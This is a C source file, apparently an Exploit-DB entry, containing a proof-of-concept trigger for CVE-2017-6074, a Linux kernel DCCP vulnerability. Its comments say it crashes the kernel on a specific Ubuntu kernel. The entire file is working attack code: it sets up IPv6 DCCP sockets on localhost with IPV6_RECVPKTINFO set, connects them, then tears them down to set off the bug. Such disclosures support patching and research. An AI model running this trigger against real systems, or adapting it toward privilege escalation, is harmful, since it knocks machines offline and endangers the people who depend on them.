57 lines
No EOL
1.2 KiB
C
57 lines
No EOL
1.2 KiB
C
//
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// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
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//
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// A trigger for CVE-2017-6074, crashes kernel.
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// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
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// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
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//
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// Andrey Konovalov <andreyknvl@gmail.com>
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#define _GNU_SOURCE
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#include <netinet/ip.h>
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#include <sys/ioctl.h>
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#include <sys/mman.h>
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#include <sys/socket.h>
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#include <sys/stat.h>
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#include <sys/syscall.h>
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#include <sys/types.h>
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#include <stdarg.h>
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#include <stdbool.h>
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#include <stddef.h>
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#include <stdint.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <arpa/inet.h>
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int main() {
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struct sockaddr_in6 sa1;
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sa1.sin6_family = AF_INET6;
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sa1.sin6_port = htons(20002);
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inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
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sa1.sin6_flowinfo = 0;
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sa1.sin6_scope_id = 0;
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int optval = 8;
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int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
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bind(s1, &sa1, 0x20);
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listen(s1, 0x9);
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setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
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int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
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connect(s2, &sa1, 0x20);
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shutdown(s1, SHUT_RDWR);
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close(s1);
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shutdown(s2, SHUT_RDWR);
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close(s2);
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return 0;
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} |